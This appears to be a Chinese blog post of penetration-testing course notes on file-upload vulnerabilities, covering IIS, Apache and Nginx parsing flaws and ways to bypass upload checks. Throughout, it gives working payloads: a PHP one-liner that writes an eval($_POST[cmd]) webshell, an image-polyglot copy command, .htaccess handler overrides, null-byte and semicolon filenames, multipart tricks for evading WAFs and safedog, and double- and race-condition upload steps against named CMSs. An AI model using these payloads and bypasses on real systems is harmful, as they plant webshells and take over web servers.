• 16.文件上传漏洞


    1.文件解析漏洞
    2.文件上传过程
    3.文件上传检测绕过
    4.文件上传漏洞分析


    PART 1: 文件解析漏洞
    文件解析漏洞
    注意:fanghan.com/uploadfiles/20200512123123.jpg //菜刀链接不上的

    解析漏洞主要说的是一些特殊文件被iis、apache、nginx在某种情况下解释成脚本文件格式的漏洞

    一般windows server 2003服务器才会安装IIS 5.X/3.0容器

    IIS 5.x/6.0解析漏洞 (容器)
    IIS 6.0解析利用方法有两种
    1.目录解析
    /xx.asp/xx.jpg

    在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
    例如创建目录 cracer.asp,那么
    /cracer.asp/1.jpg
    将被当作asp文件来执行。假设黑阔可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了
    //把你a.asp这个目录当成文件了,所以该目录下的所有文件都被当成asp解析,即使是jpg


    2.文件解析 (分号解析)
    cracer.asp;.jpg
    第二种,在IIS6.0下,分号后面的不被解析,也就是说
    cracer.asp;.jpg
    会被服务器看成是wooyun.asp还有IIS6.0 默认的可执行文件除了asp还包含这三种


    //在uploadfiles/x.asp;jpg 容器认为;后面的jpg是另一个文件了,所以也会识别为asp文件
    实战:
    环境03服务器iis5.0
    把文件名起名为:ima.asp;x.jpg
    192.168.0.200:8030/ima.asp;x.jpg 解析成功


    3.畸形文件名
    /cracer.asa
    /cracer.cer
    /cracer.cdx
    /cracer.asax
    /cracer.ascx
    /cracer.ahx //这些后缀也可以解析为asp文件


    IIS 7.0/IIS 7.5/IIS8.0/8.5 /10.0解析漏洞

    iis7/7.5/8.x/10.x 服务器对应08 2016 2016 //针对php
    如果开启了fast-cgi模块 //开启方法,IIS管理器--处理程序映射---找到php脚本phpsudy2018双击---请求限制,映射勾取消
    上传x.jpg内容为
    <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
    的文件
    uploadfiles/x.jpg/.php //这时候容器会把图片当做php运行

    畸形文件名:
    /cracer.asa
    /cracer.cer //后缀也能被识别成asp文件,这个适用于08服务器

    配合fck编辑器利用的:
    a.asp...aspx.a.asp.


    00截断:
    x.php%00.jpg iis7.x 08 nginx版本固定漏洞才会存在

    Apache解析漏洞
    Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.
    比如 cracer.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把cracer.php.owf.rar解析成php.
    如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个cracer.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀
    任意不识别的后缀,逐级向上识别
    .txt
    x.php.zzzz.xxxdf
    Phtml
    Php3
    Php4
    php5
    X.phtml
    Php空格
    Php_
    PHP

    x.php.zzz //apache不识别zzz就会在往php去识别,这种用来配合绕过黑名单
    x.php.jpg //国外能识别jpg但也会往前走一步去识别php 例如加拿大站点x.php.jpg?id=123这种居多能解析图片和php

    %00截断:
    ::$DATA 基于windos截断php文件 asp可以测试


    服务器搭配容器
    03+iis6.x
    08+iis7.0/7.5
    2012 iis8.x
    2016 iis10.x

    htaccess文件解析
    如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:
    <FilesMatch “*.odd "> SetHandler application/x-httpd-php </FilesMatch>
    然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件
    //上传htaccess的文件整个网站的jpg文件都会成为乱码,被php所执行,写的时候可以写成shell.jpg或者shell.odd只要最后写php就会上传成功

    Nginx 空字节代码执行漏洞
    影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
    Nginx在图片中嵌入PHP代码然后通过访问
    xxx.php%00.jpg
    来执行其中的代码


    nginx畸形解析漏洞
    默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件

    将shell语句,如
    <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

    写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后

    copy xx.jpg/b + xx.txt/a test.jpg
    上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php

    Nginx文件名逻辑漏洞(CVE-2013-4547)
    受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x

    正常上传一个附加代码的图片"test.jpg",访问时后面+"空格"+""+".php",即让图片作为php文件解析

    "/test.jpg .php“
    Test.jpg/.php


    实战:
    2003服务器 iis
    1.目录解析
    /xx.asp/xx.jpg

    2.分号解析
    cracer.asp;.jpg

    3./cracer.asa

    08 iis php5.4
    如果开启了fast-cgi模块 //开启方法,IIS管理器--处理程序映射---找到php脚本phpsudy2018双击---请求限制,映射勾取消
    http://192.168.9.70:9001/a.jpg/.php //a.jpg是php大马 /.php是解析漏洞

    PART 2: 文件上传过程
    文件上传的特征
    从中获取特征为:
    请求Header中Content-Type存在以下特征:
    multipart/form-data(表示该请求是一个文件上传请求)
    存在boundary字符串(作用为分隔符,以区分POST数据)
    POST的内容存在以下特征:
    Content-Disposition
    name
    filename
    POST中的boundary的值就是Content-Type的值在最前面加了两个--,除了最后标识结束的boundary
    最后标识结束的boundary最后默认会多出两个--(测试时,最后一行的boundary删掉也能成功上传)

    请求头展示:

    一般会改form-data filename=''xx.php'' 可以绕过waf


    服务器命名规则
    第一种类型:上传文件名和服务器命名一致

    第二种类型:上传文件名和服务器命名不一致(随机,时间日期命名等)

    文件名称上传后发生改变
    时间戳命名居多
    这种配合+白名单来限制上传
    只有配合解析漏洞

    不发生改变
    asp 无回显 //上传成功找不到路径,
    解决方法:
    1.通过前台图片分析
    2.爆破工具爆破文件名称
    案例:
    metinfo 米拓
    网站有解析漏洞uploadfile/20123123.jpg/.php
    awvs扫描到了一个上传接口 上传简历 招聘地方
    上传成功没回显

    1.下载mituocms本地复现
    2.分析文件名命名规则
    3.把年月日锁定好,后面的时间戳用burp去爆破图片路径


    PART 3: 文件上传检测绕过
    常见的上传检测方式
    1.客户端 javascript 检测 (通常为检测文件扩展名)
    2.服务端 MIME 类型检测 (检测 Content-Type 内容)
    3.服务端目录路径检测 (检测跟 path 参数相关的内容)
    4.服务端文件扩展名检测 (检测跟文件 extension 相关的内容)
    5.服务端文件内容检测 (检测内容是否合法或含有恶意代码)


    客户端检测绕过(javascript 检测)
    首先判断JS本地验证
    通常可以根据它的验证警告弹框的速度可以判断,如果你电脑运行比较快,那么我们可以用burp抓包,在点击提交的时候burp没有抓到包,就已经弹框那么说明这个就是本地js验证。
    绕过方法:
    1.使用burp抓包改名
    2.使用firebug直接删除掉本地验证的js代码
    3 添加js验证的白名单如将php的格式添加进去

    解决方法
    1.本pass在客户端使用js对不合法图片进行检查!
    打开burp抓包.上传php没有抓到包,这是明显的全段验证
    方法1:上传随意图片抓包,改掉后缀
    filename="QQ鍥剧墖20200828225710.jpg"
    filename="QQ鍥剧墖20200828225710.php"
    放行
    方法2:或者用火狐检查,把js直接删除掉即可,在上传
    方法3:在允许上传类型那里添加.php白名单


    服务端检测绕过(MIME 类型检测) //一般自己写的上传接口会存在这些漏洞
    MIME的作用 : 使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。
    web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。
    Tomcat的安装目录confweb.xml 中就定义了大量MIME类型 ,你可也去看一下。
    MIME的作用 : 使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。
    web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。
    Tomcat的安装目录confweb.xml 中就定义了大量MIME类型 ,你可也去看一下。

    绕过方法:
    直接使用burp抓包,得到post上传数据后,将 Content-Type: text/plain改成 Content-Type: image/gif
    就可以成功绕过。

    解决方法:
    方法1:
    原理:进行文件类型欺骗
    打开burp上传php,抓包,在他文件类型那里换成Content-Type: image/gif

    方法2:
    上传图片改后缀,因为它只检测了图片类型


    服务端检测绕过(目录路径检测)
    目录路径检测,一般就检测路径是否合法,但稍微特殊一点的都没有防御。 比如比较新的 fckeditor php <= 2.6.4 任意文件上传漏洞

    当 POST 下面的 URL 的时候

    /fckeditor263/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&

    CurrentFolder=fuck.php%00.gif HTTP/1.0

    CurrentFolder 这个变量的值会传到 ServerMapFolder($resourceType, $folderPath, $sCommand) 中的形参 $folder 里,而 $folder 在这个函数中并没做任何检测,就被 CombinePaths()了


    解决方法:
    方法1:
    form-data; name=''filepath''
    /a.asp%00

    方法2:过安全狗
    fo++++++超过他拦截上限+++很多+++rm-data; name=''filel''

    方法3:过waf
    form-data; name=''filel'' filename=''
    1.asp'' //引号换行

    form-data; name=''filel'' filename=
    ''1.asp'' //等号换行

    form-data; name=''filel'' filename =''1.asp'' //等号空格

    form-data; filename=''1.asp''; name=''filel'' //name和filename换位置再加个分号

    双引号变单引号,不加单引号等等一系列的
    filename=''1.asp'';filename=''1.asp''; //多写几个filename

    方法4:过waf
    ---------2123156165156 //少些一个''-''号 或者在数字里写一串

    方法5:过waf
    Content-Type: image/gif 直接把这个删掉




    服务端检测绕过(文件扩展名检测)

    - 黑名单检测
    黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多 一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件例如 fckeditor 2.4.3 或之前版本的黑名单

    - 白名单检测
    白名单相对来说比黑名单安全一些,但也不见得就绝对安全了

    1. 文件名大小写绕过
    用像 AsP,pHp 之类的文件名绕过黑名单检测
    2. 名单列表绕过
    用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类
    3. 特殊文件名绕过
    比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式 在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会 被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。
    4. 0x00 截断绕过
    在扩展名检测这一块目前我只遇到过 asp 的程序有这种漏洞,给个简单的伪代码 name = getname(http request) //假如这时候获取到的文件名是 test.asp .jpg(asp 后面为 0x00)
    type = gettype(name) //而在 gettype()函数里处理方式是从后往前扫描扩展名,所以判断为 jpg
    if (type == jpg)

    1. 文件名大小写绕过
    后缀批量爆破
    首先搞一个后缀字典

    2.实验过了

    3.实验过了

    4.a.asp%00.jpg


    绕过黑名单
    5. .htaccess 文件攻击 配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测

    6. 解析调用/漏洞绕过 这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞


    绕过白名单
    1. 0x00 截断绕过
    用像 test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑 漏洞进行攻击,目前我只遇到过 asp 的程序有这种漏洞
    2. 解析调用/漏洞绕过 这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞
    - .htaccess 文件攻击
    通过一个.htaccess 文件调用 php 的解析器去解析一个文件名中只要包含"haha"这个字符串的 任意文件,所以无论文件名是什么样子,只要包含"haha"这个字符串,都可以被以 php 的方 式来解析,是不是相当邪恶,一个自定义的.htaccess 文件就可以以各种各样的方式去绕过很 多上传验证机制
    建一个.htaccess 文件,里面的内容如下
    <FilesMatch "haha">
    SetHandler application/x-httpd-php </FilesMatch>
    同目录有个我们上传一个只有文件名并包含字符串"haha",但是却无任何扩展名的文件 里面的内容是 php 一句话木马


    双文件上传
    南方、良精、动易。。。

    只检测第一个,不检测第二个
    什么样的情况下可以双文件上传?
    答:服务器必须接受上传两个文件,或者源码接口

    复现环节:
    复现南方http://192.168.9.70:8009/admin/default.asp
    添加产品:1.jpg
    抓包成功,发送RPXXX
    辨别是否有这个漏洞的方法:
    方法1:正常图片 200响应码下方出现parent.parent.additen(dsafasfaf.asp)//这种就会有上文件上传漏洞
    方法2:请求头和请求尾

    复现方法:
    重新复制请求包,并在请求包后面加个name=''filename1'' 和上一个包区分开来
    上传成功一次
    第二次:把第二张后缀改成cer,或者asa 高版本1.asp%00.jpg 在进行截断 ,改成php也行

    竞争上传
    基于上传文件后名称不改变
    利用多线程并发访问触发上传后的文件,让其生成一个webshell
    up.heml //页面
    upload_file.php //接受脚本
    a1.php //马
    jing.py //写的一直上传脚本


    把up.heml upload_file.php 放到根目录
    a1.php 放到d盘
    jing.py 放到py目录下并且修改d盘的马

    然后打开cmd运行jing.py开始条件竞争

    验证方法:上传的不存在,或者404就证明有条件竞争


    服务端检测绕过(文件内容检测)
    解决方法:做图片马,如果还被拦截,证明图片马不免杀


    表单提交按钮
    slblog.upload.com/sleditor/upload.asp

    写入表单
    <input type="submit" value="提交" name="bb">

    上传a.asa

    //没有提交按钮就,检查在Input里自己写一个提交按钮提交即可


    上传漏洞分析
    phpv9 上传漏洞分析

    tpshop 上传漏洞

    phpweb 任意文件上传漏洞

  • 相关阅读:
    单表查询与多表查询
    我对Jenkins的认识
    Jenkins的使用
    关于CDN的认识
    linux permission denied解决方法
    linux 最近使用的命令
    JVM相关参数的采集
    double 和 float
    BlockingQueue 阻塞队列,很有用的一种
    使用maven打包的注意事项
  • 原文地址:https://www.cnblogs.com/fanghan/p/13899425.html
Copyright © 2020-2023  润新知